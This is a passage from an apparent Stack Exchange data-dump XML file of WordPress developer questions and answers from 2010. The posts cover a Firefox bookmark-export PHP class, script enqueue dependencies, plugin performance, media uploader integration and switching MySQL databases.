($moz_bookmarks_type==self::BOOKMARKTYPE_URL)&#xA;            {&#xA;                $this-&amp;gt;processFFUrl($moz_bookmarks_id, $moz_bookmarks_fk, $moz_bookmarks_title, $strRootFolder);&#xA;            } &#xA;            elseif ($moz_bookmarks_type==self::BOOKMARKTYPE_DIRECTORY)&#xA;            {       &#xA;                $dir = $strRootFolder . '/'. $moz_bookmarks_title . '/';&#xA;                if (!file_exists($dir)) &#xA;                {&#xA;                    if (!mkdir($dir, 0777, true)) &#xA;                    {&#xA;                        die('Failed to create folders...');&#xA;                    }                   &#xA;                }&#xA;                $this-&amp;gt;parsePagesPerTree($moz_bookmarks_id, $strRootFolder . '/'. $moz_bookmarks_title);&#xA;            }&#xA;            elseif ($moz_bookmarks_type==self::BOOKMARKTYPE_DIVIDER)&#xA;            {&#xA;                // todo         &#xA;            }       &#xA;        }&#xA;    }   &#xA;    return;&#xA;}   &#xA;&#xA;//&#xA;function getFaviconIcon($moz_bookmarks_favicon_id, $moz_bookmarks_url)&#xA;{&#xA;    $icon_data = '';&#xA;    $moz_bookmarks_favicon = '';&#xA;    if ($moz_bookmarks_favicon_id)&#xA;    {&#xA;        if ($moz_favicons_recordset = $this-&amp;gt;dbh-&amp;gt;DbExecutePrepared(5, Array($moz_bookmarks_favicon_id), 'recordset'))&#xA;        {&#xA;            foreach ($moz_favicons_recordset as $moz_favicons_row)&#xA;            {&#xA;                $icon_data      = $moz_favicons_row[0];&#xA;                $icon_mime_type = $moz_favicons_row[1];&#xA;                // the following array is also defined in the google icon checker!&#xA;                $icon_type = array(  'image/png'    =&amp;gt; 'a.png',&#xA;                                 'image/gif'    =&amp;gt; 'a.gif',&#xA;                                 'image/x-icon' =&amp;gt; 'a.ico',&#xA;                                 'image/jpeg'   =&amp;gt; 'a.jpg',&#xA;                                 'image/bmp'    =&amp;gt; 'a.bmp');                                     &#xA;&#xA;                $moz_bookmarks_favicon = $icon_type[$icon_mime_type];&#xA;                // TODO reimplement echo 'warning: you should add:' . $icon_mime_type;              &#xA;&#xA;                //if ('http://apps.facebook.com/frontierville/' == $moz_bookmarks_url)&#xA;                //{&#xA;                //  echo $moz_bookmarks_favicon_id . &quot; - &quot; . $icon_mime_type . &quot; - &quot; .&#xA;                //      $moz_bookmarks_favicon;&#xA;                //}&#xA;            }   &#xA;        }   &#xA;    }&#xA;    // if $moz_bookmarks_favicon = empty then provide weird name&#xA;    if ($moz_bookmarks_favicon) {&#xA;        $populair_cache = new EdlCache($moz_bookmarks_url, $moz_bookmarks_favicon);&#xA;        $obj = $populair_cache-&amp;gt;CheckCacheData($icon_data, FILECACHE_FIREFOX, false);&#xA;    }&#xA;&#xA;    // we dont want to return the data it only needs to be update&#xA;    return;         &#xA;}&#xA; } &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I hope I can give you clues to take this a step further.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) What I wanted is an easier way to manage my bookmarks and enrich it with information that is already out there.&#xA;2) the different systems out there like Alexa, Delcious, StumbleUpon etc... not all give the information on a url level e.g. Alexa gives information on a higher level in the domain structure e.g. abc.def.com : you need def.com for the ranking or abc.def.com/whatever/rtc.php : for this you e.g. need def.com/user (like youtube). So you need both the domain structure and the relative url structure and have each single node of every possible url (both domain and relative) as an entry in the database to be able later to represent this and enrich this and you need the relations between each part in the url to be able to represent it.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;I have written a class that loads in the official TLD structure and used this as root items in my database. So .uk gets the id 1 and .co.uk get a parent id 1. I used both the Mozilla list and other: source is the Mozilla  Public Suffix List: &lt;a href=&quot;http://publicsuffix.org/&quot; rel=&quot;nofollow&quot;&gt;http://publicsuffix.org/&lt;/a&gt; but that is a bit outdated so you need to add to it&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Now that I have the official TLD's in there I have class that loads in the Alexa top 1.000.000 sites. This will link in the same way. Many of these are a sort of unofficial top level TLD's. Since e.g. &quot;google.com&quot; is not as official as the TLD of some country but it seems more important. By doing that you will discover some patterns but also some exceptions e.g. you will find IP addresses that are populair. Each of these entries fills the field &quot;Alexa Ranking&quot;. (for performance I first load the .csv in a help table)&#xA;Alexa will force you to review the patterns so that is good (a good test set)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I have written a class that traverses my Firefox Databases (sql lite) and exports all urls in there as .URL in a hierarchical directory structure. It also exports the favicons whether they be .ico, .png, .gif etc... (see below). This is also read in the database. Since I update this a lot it sycns with the database described in 1 and 2. (in the beginning I also exported the dividers but I stopped doing that).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I have begun to just drag and drop bookmarks in this directory structure from other browsers e.g. from chrome I just drag a bookmark from the browser to the directory which also delivers that .url file. The directory structure of URL's I have given extra properties e.g. (h) at the beginning of the name will lead to a &quot;heart&quot; e.g. one URL I particuarly like and #01# will place it at the top (or at least thats the way code further on handles it). I have placed this directory structure in a dropbox. I still have to write the code on the server to be in constant sync so the dropbox server part. (My WORDPRESS on the server counterpart constantly reads the URL directory structure for syncing and updating bookmarks as above but i now use ftp sync)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I have written classes for delicious (you need a MD5) and StumbleUpon to get not only the ranking (delicious=amount of bookmarks) (SU= amount of reviews and amount of pageviews) but also the TAGS and the description people use (why should I invent my own tags if people have already given them). Since you have a limit amount of calls you can do to these systems you need to spread it over time to enrich your database. (if you now go to delicious and look up a link see the right side and get an idea about the taxonomy of tags given to links)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I use the Google favicons provider (const GOOGLE_ICON_URL = 'http://www.google.com/s2/favicons?domain=';) to show the favicons BUT since Google does not have all the icons (e.g. not for facebook applications) I enrich the cache with the icons I exported from Firefox. For that you need a priority system build in which chooses the correct favicon over the other.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;To cache this I have a caching structure that looks like the domain reversed for the . parts e.g. .com.facebook.apps.geochallenge and on a deeper level the relative path structure. In eeach directory in that cache structure I store the cache favicons. In a previous release I also store there the results of the calls to delicious and stumblupon.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;It seems that this is WordPress out-of-scope but in fact (grin) it is very in-scope. The build-in link functionality has no good meta options / no meta table and it has some more restrictions like no hierarchical categories etc... Also you need to type in information in it itself while there are a lot of services which already categorize urls (e.g. dmoz) and give it tags etc... which have become sort of default. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So this lies &quot;under&quot; my WordPress site for handling my links.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am making this setup with all the information of at least the top 1.000.000 plus sites to make the amount of calls less and to later on share this as a plugin. I have a stumbleupon plugin in the wp plugin db and that led to this. It can give you information on the external links you have in your weblog. There are a lot of plugins that give you information on SEO general but none which show you reports and comparions of e.g. ´what percentage of your outgoing links is in which category or popular or not etc..´. It also gives rankings to your incoming links and outgoing links etc. etc.&lt;/p&gt;&#xA;" OwnerUserId="576" LastEditorUserId="576" LastEditorDisplayName="" LastEditDate="2010-11-13T13:00:28.677" LastActivityDate="2010-11-13T13:00:28.677" />
  <row Id="4005" PostTypeId="2" ParentId="556" CreationDate="2010-11-13T12:04:45.020" Score="6" ViewCount="" Body="&lt;p&gt;To compliment Mikes wonderful illustration of using enqueues i just wish to point out that scripts included as dependancies do not necessarily need to be enqueued...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll use the &lt;strong&gt;Scripts in a Plugin&lt;/strong&gt; code from Mikes answer as an example..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('MY_PLUGIN_VERSION','2.0.1');&#xA;add_action('init','my_plugin_init');&#xA;function my_plugin_init() {&#xA;   wp_enqueue_script('jquery');&#xA;   wp_enqueue_script('jquery-ui-sortable');&#xA;   wp_enqueue_script('my-script',plugins_url('/js/my-script.js',__FILE__),array('jquery','jquery-ui-sortable'),MY_PLUGIN_VERSION);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This can be trimmed down to read..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('MY_PLUGIN_VERSION','2.0.1');&#xA;add_action('init','my_plugin_init');&#xA;function my_plugin_init() {&#xA;   wp_enqueue_script('my-script', plugins_url( '/js/my-script.js', __FILE__ ), array('jquery','jquery-ui-sortable'), MY_PLUGIN_VERSION);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Declaring dependancies will result in those scripts being enqueued for you, so you don't actually need to enqueue them manually if you're setting them as a dependancy for another script..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&#xA;Additionally, there may be users wondering if setting a multiple dependancies might cause scripts(that are dependant on one another) to wrongly queue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;For example:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_enqueue_script('example-script-1','example/path/example_script_1.js',array('example-script-2','example-script-3') );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If script 2 were dependant on script 3(ie. script 3 should load first), this wouldn't matter, WordPress would still run enqueues for both and figure out which needs to run first, loading a script as a dependancy will not screw with any existing dependancies of the scripts being called(it all gets worked out automagically for you).&lt;/p&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2010-12-01T14:03:53.463" LastActivityDate="2010-12-01T14:03:53.463" />
  <row Id="4006" PostTypeId="1" AcceptedAnswerId="4013" CreationDate="2010-11-13T12:13:54.720" Score="2" ViewCount="222" Body="&lt;p&gt;Is there any way to measure the time it takes for plugins to load and in which pages they load (without figuring out the entire code)?&#xA;In addition, I would like to find out which plugins load files in which pages and find the ones that load on irrelevant ones.&lt;/p&gt;&#xA;" OwnerUserId="1567" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2010-11-13T16:16:47.823" LastActivityDate="2010-11-14T13:09:45.410" Title="Do Plugins effect site loading time?" Tags="&lt;plugins&gt;&lt;performance&gt;&lt;loading-time&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="4007" PostTypeId="2" ParentId="4006" CreationDate="2010-11-13T12:30:16.017" Score="1" ViewCount="" Body="&lt;p&gt;You could always concatenate them all into a new plugin and activate that instead, but you're honestly wasting your time. The maintainability from keeping them separate dwarves the performance benefit...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, be aware that using tons of plugins does affect your site's performance... You can easily measure that using benchmarking tools such as siege (http://www.joedog.org/index/siege-home).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, never lose sight that WP itself is a sluggish resource hog. You can micro-optimize a few milliseconds out of page load times, but considering any verbatim WP loads in 100ms or more to start with, rather than the more typical 10-40ms for apps written using a good php framework, I personally wouldn't bother. &lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-11-13T12:30:16.017" CommentCount="2" />
  <row Id="4008" PostTypeId="2" ParentId="3997" CreationDate="2010-11-13T12:49:38.683" Score="5" ViewCount="" Body="&lt;p&gt;There have been a few forks that sought to make WP work with postgresql. Best I'm aware they all died.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Back in 2005-2006, there also was LightPress, which featured a much faster template engine. It died too.&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-11-13T12:49:38.683" CommentCount="3" />
  <row Id="4010" PostTypeId="1" AcceptedAnswerId="8731" CreationDate="2010-11-13T15:07:35.250" Score="1" ViewCount="163" Body="&lt;p&gt;Is it possible to specify the category people can choose to subscribe to in the &lt;a href=&quot;http://wordpress.org/extend/plugins/subscribe2/&quot; rel=&quot;nofollow&quot;&gt;Subscribe2 (Wordpress Plugin)&lt;/a&gt; widget?&lt;/p&gt;&#xA;" OwnerUserId="161" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-11-16T20:05:44.033" LastActivityDate="2011-02-07T11:15:34.617" Title="Subscribe2 widget with choosing categories?" Tags="&lt;widgets&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="4011" PostTypeId="1" AcceptedAnswerId="4015" CreationDate="2010-11-13T15:08:11.630" Score="2" ViewCount="120" Body="&lt;p&gt;im using the media finder plugin which works fine in 2.9 wordpress, but since the 3.0 wordpress, the json sans eval library which the plugin uses works no more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;not sure what was involved in the upgrade from 2.9 to 3.0 core wise with json.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is a screenshot what firebug in firefox spits out, the actual json is parsed, but its not displayed. (media finder lets you search vid the media manager in your post)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so since json eval sans is non validating, not sure if wp 3.0 doesnt like that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is the url to the plugin&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/media-finder/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/media-finder/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is the screen shot of the error in the plugin&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://imgur.com/RFGXm.jpg&quot; rel=&quot;nofollow&quot;&gt;http://imgur.com/RFGXm.jpg&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;anyone can assist would be a life saver, or even what is involved in converting the code from json sans eval to json2.js which wp is packed with now&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the code that would need to be converted to json2 would be the line &lt;/p&gt;&#xA;&#xA;&lt;p&gt;xhr = $.post(ajaxurl, params, function(data) {&lt;/p&gt;&#xA;&#xA;&lt;p&gt;data = jsonParse(data);&lt;/p&gt;&#xA;" OwnerUserId="70" LastActivityDate="2010-11-17T23:48:33.973" Title="wordpress 3.0 json issue" Tags="&lt;plugin-development&gt;" AnswerCount="1" FavoriteCount="2" />
  <row Id="4012" PostTypeId="2" ParentId="1463" CreationDate="2010-11-13T16:16:17.847" Score="5" ViewCount="" Body="&lt;p&gt;I created two plugins that together should solve my needs. They are currently in an early alpha stage, and all comments are welcome.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The base plugin is an &lt;a href=&quot;https://gist.github.com/675437&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;On-Demand Resizer&lt;/strong&gt;&lt;/a&gt;. This plugins monitors requests for non-existing files in the uploads dir, and creates images of the requested size if needed. For example, &lt;code&gt;image-200x100.jpg&lt;/code&gt; will create and return &lt;code&gt;image.jpg&lt;/code&gt;, but resized to 200 by 100 pixels. The image is saved by that name in the directory, so further requests are handled straight by the server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second plugin, &lt;a href=&quot;https://gist.github.com/675438&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Resize img tags&lt;/strong&gt;&lt;/a&gt;, modifies &lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt; tags so their &lt;code&gt;src&lt;/code&gt; attributes include width and/or height data. This allows the first plugin to serve the correct images. Together they do what I want, and I only need to create a run-once function to convert all existing posts, but that should be easy (I don't want to hook into &lt;code&gt;the_content&lt;/code&gt; for something that should run only once).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A third &quot;bonus&quot; plugin, &lt;a href=&quot;https://gist.github.com/675439&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Virtual intermediate images&lt;/strong&gt;&lt;/a&gt;, intercepts the creation of the intermediate images when uploading a new image in WordPress. Since they are still created by the first plugin if requested, this allows you to specify multiple image sizes without taking up disk space unless they are actually used. This is not needed for the two first to work, but it was an easy addition, and it highlights the fact that I still need to work around the WordPress image editor, but I will do that when I create &lt;a href=&quot;http://wordpress.stackexchange.com/questions/1733/user-friendly-cropping-of-post-thumbnails&quot;&gt;my thumbnail editor&lt;/a&gt;, which will also use the first plugin.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-11-13T16:16:17.847" CommentCount="3" />
  <row Id="4013" PostTypeId="2" ParentId="4006" CreationDate="2010-11-13T16:48:15.793" Score="3" ViewCount="" Body="&lt;h2&gt;Yes, Plugins effect site loading time.&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;There are many poorly written Plugins that make unnecessary database queries and load numerous files to the page.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The extra JavaScript and CSS files are not that big of deal unless you are using numerous plugins.  I have worked on large sites that had 30 or 40 active plugins and the server would crash during any high traffic periods so it can be an issue. &lt;/p&gt;&#xA;&#xA;&lt;h3&gt;To see what extra files are being loaded you can simply view source or use the net tab on Firebug.&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/B83Le.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Another good way to find external files loaded by plugins is to use &lt;a href=&quot;http://wordpress.org/extend/plugins/w3-total-cache/&quot; rel=&quot;nofollow&quot;&gt;W3 Total Cache's&lt;/a&gt; minify help wizard.&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;The wizard scans your theme and plugins and recommends the ones to combine and minify and for what page to load them on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/vfa4K.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To monitor Plugin database queries and cpu time you can add the following code to the bottom of your footer.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!--&amp;lt;?php echo $wpdb-&amp;gt;num_queries;  &#xA;        _e('queries'); ?&amp;gt;. &#xA;           timer_stop(1);  _e('seconds'); ?&amp;gt;.--&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will allow you to view the source of each page and see how many queries are being made and how long it takes to make them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ex:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/yG88M.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course this won't tell you what Plugin is responsible for the queries but allows you to do testing while disabling and activating different combinations.&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2010-11-13T16:48:15.793" CommentCount="2" />
  <row Id="4014" PostTypeId="2" ParentId="1960" CreationDate="2010-11-13T17:28:43.637" Score="1" ViewCount="" Body="&lt;p&gt;It would be nice to be able to manage your facebook &quot;/pages/city/companyX&quot; page from one WordPress install (instead of coding a seperate solution see e.g. &lt;a href=&quot;http://www.ibm.com/developerworks/rational/tutorials/r-face/&quot; rel=&quot;nofollow&quot;&gt;http://www.ibm.com/developerworks/rational/tutorials/r-face/&lt;/a&gt;) this would enable customers (who all want to be on facebook) to have more or less one entry to manage things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My number 1 feature would probably be statistics overview in the wordpress dashboard. So that the customer can check the progress of the internet strategy.&lt;/p&gt;&#xA;" OwnerUserId="576" LastActivityDate="2010-11-13T17:28:43.637" CommunityOwnedDate="2010-11-13T17:28:43.637" CommentCount="1" />
  <row Id="4015" PostTypeId="2" ParentId="4011" CreationDate="2010-11-13T19:18:25.083" Score="2" ViewCount="" Body="&lt;p&gt;When I comment out the line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;@header('Content-type: application/json; charset=UTF-8');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it works for me&lt;/p&gt;&#xA;&#xA;&lt;p&gt;p.s. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;there is also a &lt;strike&gt;closing php&lt;/strike&gt; opening tag in it without the word php &lt;/li&gt;&#xA;&lt;li&gt;there is a closing php tag at the bottom which can be gone &lt;/li&gt;&#xA;&lt;li&gt;there is a notice on an undefined index.&lt;/li&gt;&#xA;&lt;li&gt;better would be to use $charset = get_option('blog_charset');&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I have no idea if this: &lt;a href=&quot;http://wordpress.org/support/topic/plugin-json-api-content-length-header&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/plugin-json-api-content-length-header&lt;/a&gt; has something do with it, or this: &lt;a href=&quot;http://core.trac.wordpress.org/ticket/11537&quot; rel=&quot;nofollow&quot;&gt;http://core.trac.wordpress.org/ticket/11537&lt;/a&gt; or this: &lt;a href=&quot;http://wordpress.org/support/topic/wordpress-gone-wild?replies=3&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/wordpress-gone-wild?replies=3&lt;/a&gt; , did not dive in it.&lt;/p&gt;&#xA;" OwnerUserId="576" LastEditorUserId="576" LastEditorDisplayName="" LastEditDate="2010-11-17T23:48:33.973" LastActivityDate="2010-11-17T23:48:33.973" CommentCount="3" />
  <row Id="4016" PostTypeId="1" AcceptedAnswerId="4017" CreationDate="2010-11-13T19:27:08.357" Score="3" ViewCount="1131" Body="&lt;p&gt;I'm creating a custom post type, &quot;gallery&quot;, in which the admin should be able to upload images (these images would be attached to the post).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The thing is that the &quot;editor&quot; meta box is disabled for this post type. And I need a way to add the image upload pop-up box to it, just like posts have. How can I do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or maybe it's better to create my own uploader? if so, how could I attach the uploaded images to the post (gallery) that's being created?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;how do attachments work? are they custom post types too? &lt;/p&gt;&#xA;" OwnerUserId="600" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2010-11-13T20:21:13.857" LastActivityDate="2011-06-26T18:29:21.550" Title="Attaching media to custom posts without editor" Tags="&lt;custom-post-types&gt;&lt;attachments&gt;" AnswerCount="1" FavoriteCount="6" />
  <row Id="4017" PostTypeId="2" ParentId="4016" CreationDate="2010-11-13T20:12:12.797" Score="5" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.0/wp-admin/edit-form-advanced.php#L21&quot; rel=&quot;nofollow&quot;&gt;At the top of &lt;code&gt;wp-admin/edit-form-advanced.php&lt;/code&gt;&lt;/a&gt; I see the following code that seems related to the media uploader:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( post_type_supports($post_type, 'editor') || post_type_supports($post_type, 'thumbnail') ) {&#xA;    add_thickbox();&#xA;    wp_enqueue_script('media-upload');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You'll need to add these yourself. &lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.0/wp-includes/general-template.php#L2133&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;add_thickbox()&lt;/code&gt;&lt;/a&gt; enqueues both a script and a style, so make sure you hook into &lt;code&gt;print_styles&lt;/code&gt;, as &lt;code&gt;print_scripts&lt;/code&gt; will be too late to also print a style.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('admin_print_styles-post-new.php', 'wpa4016_add_media_upload_scripts');&#xA;add_action('admin_print_styles-post.php', 'wpa4016_add_media_upload_scripts');&#xA;function wpa4016_add_media_upload_scripts()&#xA;{&#xA;    if ($GLOBALS['post_type'] == 'wpa4016') {&#xA;        add_thickbox();&#xA;        wp_enqueue_script('media-upload');&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now we need to add the upload buttons. I see &lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.0/wp-includes/general-template.php#L1778&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;the_editor()&lt;/code&gt;&lt;/a&gt;, the function that displays the editor, has a parameter &lt;code&gt;$media_buttons&lt;/code&gt;, and if we set to to &lt;code&gt;true&lt;/code&gt; it basically executes &lt;code&gt;do_action('media_buttons')&lt;/code&gt;. This in turn calls &lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.0/wp-admin/includes/media.php#L353&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;media_buttons()&lt;/code&gt;&lt;/a&gt;, which calls &lt;code&gt;_media_button()&lt;/code&gt; for each media type (image, video, audio, ...). So we do this ourselves!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('edit_form_advanced', 'wpa4016_edit_form_advanced');&#xA;function wpa4016_edit_form_advanced()&#xA;{&#xA;    if ($GLOBALS['post_type'] == 'wpa4016') {&#xA;        echo _media_button(__('Add an Image'), 'images/media-button-image.gif?ver=20100531', 'image');&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Attachments are indeed custom posts of type &lt;code&gt;attachment&lt;/code&gt;, with their &lt;code&gt;post_parent&lt;/code&gt; set to the post they're attached to. Images have two meta fields: &lt;code&gt;_wp_attached_file&lt;/code&gt; contains the filename, &lt;code&gt;_wp_attachment_metadata&lt;/code&gt; contains an array with image EXIF data and pointers to different sizes of the same image. You can create these yourself, using &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_insert_attachment&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_insert_attachment()&lt;/code&gt;&lt;/a&gt;, but I believe you still have to handle the upload yourself then.&lt;/p&gt;&#xA;" OwnerUserId="8" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-06-26T18:29:21.550" LastActivityDate="2011-06-26T18:29:21.550" CommentCount="5" />
  <row Id="4018" PostTypeId="1" CreationDate="2010-11-13T23:05:19.020" Score="0" ViewCount="330" Body="&lt;p&gt;I'm looking for a funcionality of creating HTML Table in metabox in post-editing page to put into post theme with a shortcode or something similar?&#xA;&lt;br&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://alexrabe.de/wordpress-plugins/wp-table/&quot; rel=&quot;nofollow&quot;&gt;http://alexrabe.de/wordpress-plugins/wp-table/&lt;/a&gt; is almost perferc, but I need this table creator while post editing...&#xA;&lt;br&gt;&lt;br&gt;&#xA;it could act similar to custom fields:&#xA;&lt;br&gt;&lt;br&gt;&#xA;title1 | value1&lt;br&gt;&#xA;title2 | value2&lt;br&gt;&#xA;title3 | value3&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;etc..&lt;/p&gt;&#xA;" LastActivityDate="2010-11-14T21:07:06.977" Title="HTML Table creator in metabox to put into post theme" Tags="&lt;metabox&gt;&lt;html&gt;" AnswerCount="3" />
  <row Id="4019" PostTypeId="1" AcceptedAnswerId="4035" CreationDate="2010-11-13T23:06:44.587" Score="3" ViewCount="441" Body="&lt;p&gt;I'm trying to use the media uploader thing from WP (the form from the pop-up with crunching and all that), and can't figure out how. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any plugin out there that uses it? It would be easier to understand...&lt;/p&gt;&#xA;" OwnerUserId="600" LastActivityDate="2011-03-07T12:38:00.080" Title="Any plugin out there that uses WP's internal image uploader?" Tags="&lt;plugins&gt;&lt;media&gt;&lt;uploads&gt;" AnswerCount="2" CommentCount="5" FavoriteCount="4" />
  <row Id="4020" PostTypeId="2" ParentId="4018" CreationDate="2010-11-14T00:19:06.457" Score="0" ViewCount="" Body="&lt;p&gt;I'm just looking for solution and I have 2 ways to realize that matter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to build a table in post edition page somewhere in metabox.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Solutions:&#xA;1. metabox with different type of custom fields&#xA;2. metabox with wysiwyg editor to build 2-columns table&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Table would look exactly like it was made with custom fields: &#xA;label | value&#xA;label | value&#xA;etc..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to manage these table on post-editing site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would you have any suggestions please?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BR&lt;/p&gt;&#xA;" LastActivityDate="2010-11-14T00:19:06.457" CommentCount="2" />
  <row Id="4021" PostTypeId="2" ParentId="381" CreationDate="2010-11-14T00:24:40.777" Score="2" ViewCount="" Body="&lt;p&gt;However..... if you do think using another database is easier because you are e.g. syncing this daily with other sources, already have all the reporting code , use this database for a lot of other sources, prepare for the future when you might want to use this database in other projects to sync, are adding the data from another application, etc.... The trick is to switch databases:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//&#xA;// Connect to the other database&#xA;//&#xA;$mysql_link_edl = mysql_connect($db_host, $db_user, $db_pwd) or die (mysql_error() .        'Error connecting to mysql');&#xA;mysql_select_db($db_db, $mysql_link_edl) or die (mysql_error() . 'problem connecting with database');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then do your stuff, run all queries / external php files generating reports, etc..&#xA;and then switch back to the WP database:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mysql_select_db(WPDB_DATABASE, $mysql_link_edl);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="576" LastActivityDate="2010-11-14T00:24:40.777" />
